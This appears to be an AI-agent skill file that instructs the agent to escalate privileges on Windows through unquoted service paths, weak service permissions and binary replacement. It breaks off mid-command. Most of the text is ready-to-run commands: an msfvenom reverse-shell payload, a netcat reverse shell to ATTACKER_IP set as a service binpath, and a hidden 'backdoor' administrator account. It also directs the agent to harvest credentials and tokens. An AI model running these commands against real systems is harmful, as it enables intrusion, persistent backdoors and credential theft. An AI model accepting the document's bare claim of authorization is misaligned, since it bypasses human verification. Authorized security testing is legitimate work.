/windows-service-dll-abuse

name: windows-service-dll-abuse
description: >
  Exploit Windows service misconfigurations and DLL hijacking for local
  privilege escalation.
keywords:
  - unquoted service path
  - dll hijacking
  - service exploitation
  - writable service
  - dll search order
  - binpath
  - sc config
  - accesschk
tools:
  - accesschk
  - sc
  - PowerUp
  - Process Monitor
  - icacls
  - mingw (DLL compilation)
opsec: medium

Windows Service Misconfiguration & DLL Hijacking

You are helping a penetration tester escalate privileges on a Windows system by exploiting service misconfigurations and DLL hijacking. All testing is under explicit written authorization.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[windows-service-dll-abuse] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Shell access on a Windows system
• Tools: `accesschk.exe` (Sysinternals), `sc.exe` (built-in), `icacls` (built-in)
• For DLL hijacking: ability to write files to target directories
• For DLL compilation: `mingw` cross-compiler (on attacker machine)

Step 1: Enumerate Services

Get a full picture of the service landscape before checking for specific vulnerabilities.

**List all services:**

sc query state= all
wmic service list brief
net start
tasklist /SVC

Get-Service | Select-Object Name, Status, StartType | Sort-Object StartType
Get-WmiObject Win32_Service | Select-Object Name, StartMode, PathName, StartName | Where-Object {$_.PathName -notlike "C:\Windows\System32\svchost*"} | Format-Table -AutoSize

**Non-default services (most likely to be misconfigured):**

wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\"

**Service account context (what user does each service run as):**

wmic service get name,startname,pathname | findstr /i /v "LocalSystem"

Step 2: Unquoted Service Paths

When a service path contains spaces and isn't quoted, Windows tries intermediate paths. For `C:\Program Files\Some App\service.exe`, Windows tries: 1. `C:\Program.exe` 2. `C:\Program Files\Some.exe` 3. `C:\Program Files\Some App\service.exe`

**Enumerate unquoted paths:**

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows" | findstr /i /v '\"'

# PowerUp
Get-ServiceUnquoted -Verbose

# Manual
Get-WmiObject Win32_Service | Where-Object {$_.PathName -notlike '"*' -and $_.PathName -like '* *' -and $_.PathName -notlike 'C:\Windows\*'} | Select-Object Name, PathName, StartMode

**Exploitation:**

1. Verify write access to one of the intermediate directories:

icacls "C:\Program Files\Some App\"
accesschk.exe -dqv "C:\Program Files\Some App\"

2. Place a binary at the hijacked path:

copy C:\temp\payload.exe "C:\Program Files\Some.exe"

3. Restart the service:

sc stop <service_name>
sc start <service_name>

Or wait for system reboot if the service is set to auto-start.

**Generate payload:**

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o payload.exe

Step 3: Weak Service Permissions

If a service's ACL allows non-admin users to modify it, you can change the binary path to execute arbitrary commands.

**Enumerate modifiable services:**

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula
accesschk.exe -uwcqv "Everyone" * /accepteula

**Vulnerable permissions:**

• `SERVICE_ALL_ACCESS` — full control
• `SERVICE_CHANGE_CONFIG` — can modify binpath
• `WRITE_DAC` — can modify service DACL
• `WRITE_OWNER` — can take ownership

**Check specific service:**

accesschk.exe -ucqv <service_name> /accepteula
sc qc <service_name>
sc sdshow <service_name>

**Exploitation — change service binary path:**

sc stop <service_name>
sc config <service_name> binpath= "C:\temp\nc.exe -nv ATTACKER_IP 4444 -e C:\WINDOWS\System32\cmd.exe"
sc start <service_name>

**Alternative — add local admin user:**

sc config <service_name> binpath= "net user backdoor P@ssw0rd123 /add"
sc start <service_name>
sc config <service_name> binpath= "net localgroup administrators backdoor /add"
sc start <service_name>

**PowerUp automated exploit:**

Invoke-ServiceAbuse -Name <service_name> -Command "C:\temp\nc.exe ATTACKER_IP 4444 -e cmd.exe"

**Writable service binary (direct replacement):**

icacls "C:\Program Files\VulnApp\service.exe"

If `(M)` or `(F)` for your user/group, replace the binary directly:

move "C:\Program Files\VulnApp\service.exe" "C:\Program Files\VulnApp\service.exe.bak"
copy C:\temp\payload.exe "C:\Program Files\VulnApp\service.exe"
sc stop <service_name>
sc start <service_name>

**Service registry ACL abuse:**

get-acl HKLM:\System\CurrentControlSet\services\<service_name> | Format-List *

If writable, modify `ImagePath` directly:

reg add "HKLM\SYSTEM\CurrentControlSet\Services\<servic